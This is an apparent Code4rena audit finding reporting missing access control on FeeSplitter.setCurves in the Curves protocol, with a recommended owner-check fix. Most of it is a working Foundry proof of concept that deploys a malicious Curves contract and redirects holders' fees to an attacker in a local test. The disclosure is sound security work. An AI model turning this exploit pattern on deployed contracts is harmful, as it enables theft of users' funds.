Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L35-L37

Vulnerability details

setCurves lacks validation to ensure that only the contract owner or designated managers can set the address.

function setCurves(Curves curves_) public {
    curves = curves_;
}

Impact

Direct theft of holders generated fees.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;

import "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {CurvesERC20} from "@contracts/CurvesERC20.sol";
import {CurvesERC20Factory} from "@contracts/CurvesERC20Factory.sol";
import {FeeSplitter} from "@contracts/FeeSplitter.sol";
import {Curves} from "@contracts/Curves.sol";

contract MaliciousCurves is Curves{
    constructor(address curvesERC20Factory_, address feeRedistributor_) Curves(curvesERC20Factory_, feeRedistributor_) {}

    function setCurvesTokenBalance(address subject, address holder, uint256 value) public {
        curvesTokenBalance[subject][holder] = value;
    }

    function setCurvesTokenSupply(address subject, uint256 supply) public {
        curvesTokenSupply[subject] = supply;
    }
}

contract CurvesPOC is Test {
    CurvesERC20 public curvesERC20;
    CurvesERC20Factory public curvesERC20Factory;
    Curves public curves;
    FeeSplitter public feeSplitter;

    // Addresses
    address public owner = makeAddr("OWNER");
    address public protocolFeeDestination = makeAddr("PROTOCOL_FEE_DESTINATION");
    address public attacker = makeAddr("ATTACKER");
    address public curvesSubject = makeAddr("CURVES_SUBJECT");
    address public alice = makeAddr("ALICE");
    address public bob = makeAddr("BOB");

    function setUp() public {
        vm.startPrank(owner);

        // Deploy contracts by owner
        curvesERC20 = new CurvesERC20("Curves", "CURVES", owner);
        curvesERC20Factory = new CurvesERC20Factory();
        feeSplitter = new FeeSplitter();
        curves = new Curves(address(curvesERC20Factory), address(feeSplitter));
        feeSplitter.setManager(address(curves), true);

        // Change curve address
        feeSplitter.setCurves(curves);
        assert(feeSplitter.curves() == curves);

        // Changing fee percent (sample values)
        curves.setMaxFeePercent(1e18);
        curves.setProtocolFeePercent(1e17, protocolFeeDestination);
        curves.setExternalFeePercent(1e17, 1e17, 7e17);

        vm.stopPrank();
    }

    function test_theftHoldersFees() public {
        // Funding users
        vm.deal(alice, 100 ether);
        vm.deal(bob, 100 ether);

        // Curve token subject create token
        vm.prank(curvesSubject);
        curves.buyCurvesTokenWithName(curvesSubject, 1, "CURVES_SUBJECT", "CURVES_SUBJECT_SYMBOL");

        // Users buy curve subject tokens
        uint256 alice_amount = 1;
        uint256 price = curves.getPrice(curves.curvesTokenSupply(curvesSubject), alice_amount);
        (, , , , uint256 totalFee) = curves.getFees(price);
        uint256 alice_cost = price + totalFee;
        vm.prank(alice);
        curves.buyCurvesToken{value: alice_cost}(curvesSubject, alice_amount);

        uint256 bob_amount = 1;
        price = curves.getPrice(curves.curvesTokenSupply(curvesSubject), bob_amount);
        (, , , , totalFee) = curves.getFees(price);
        uint256 bob_cost = price + totalFee;
        vm.prank(bob);
        curves.buyCurvesToken{value: bob_cost}(curvesSubject, bob_amount);

        // Deploying malicious Curves contract
        MaliciousCurves maliciousCurves = new MaliciousCurves(address(curvesERC20Factory), address(feeSplitter));

        uint256 aliceBeforeFees = feeSplitter.getClaimableFees(curvesSubject, alice);
        uint256 bobBeforeFees = feeSplitter.getClaimableFees(curvesSubject, bob);
        uint256 attackerBeforeFees = feeSplitter.getClaimableFees(curvesSubject, address(attacker));
        console.log("+++ BEFORE ATTACK STATE +++");
        console.log("ALICE claimable fees: ", aliceBeforeFees);
        console.log("BOB claimable fees: ", bobBeforeFees);
        console.log("Attacker claimable fees: ", attackerBeforeFees);

        assert(attackerBeforeFees == 0);
        assert(attacker.balance == 0);

        console.log("---------a-t-t-a-c-k---------");
        // Set curves address to malicious contract
        vm.prank(attacker);
        feeSplitter.setCurves(Curves(maliciousCurves));
        assert(feeSplitter.curves() == Curves(maliciousCurves));

        // Attacker changing balances (Just theft Alice and Bob fees)
        maliciousCurves.setCurvesTokenSupply(curvesSubject, curves.curvesTokenSupply(curvesSubject));
        maliciousCurves.setCurvesTokenBalance(curvesSubject, attacker, alice_amount + bob_amount);
        maliciousCurves.setCurvesTokenBalance(curvesSubject, curvesSubject, 1);

        uint256 aliceAfterFees = feeSplitter.getClaimableFees(curvesSubject, alice);
        uint256 bobAfterFees = feeSplitter.getClaimableFees(curvesSubject, bob);
        uint256 attackerAfterFees = feeSplitter.getClaimableFees(curvesSubject, attacker);
        console.log("___ AFTER ATTACK STATE ___");
        console.log("ALICE claimable fees: ", aliceAfterFees);
        console.log("BOB claimable fees: ", bobAfterFees);
        console.log("Attacker claimable fees: ", attackerAfterFees);

        assert(attackerAfterFees >= aliceBeforeFees + bobBeforeFees);
        assert(aliceAfterFees == 0);
        assert(bobAfterFees == 0);

        // Attacker claiming fees
        vm.prank(attacker);
        feeSplitter.claimFees(curvesSubject);
        assert(attacker.balance >= aliceBeforeFees + bobBeforeFees);
    }
}

POC setup

foundry.toml:

[profile.default]
src = 'contracts'
out = 'out'
libs = ['node_modules', 'lib']
test = 'test/foundry/'
cache_path  = 'cache_forge'
solc_version = "0.8.7"
remappings = [
    "@forge-std/=lib/forge-std/",
    "@openzeppelin/=node_modules/@openzeppelin/",
    "@contracts/=contracts/"
]

forge test --mt test_theftHoldersFees

Tools Used

Manual Review Foundry

Recommended Mitigation Steps

Ensure validation of msg.sender to confirm that it is the owner:

function setCurves(Curves curves_) public {
    require(msg.sender == owner(), "Only owner can change curve contract address");
    curves = curves_;
}

Assessed type

Access Control

code-423n4 / 2024-01-curves-findings

Missing access control in FeeSplitter allows anyone to change Curve address #1464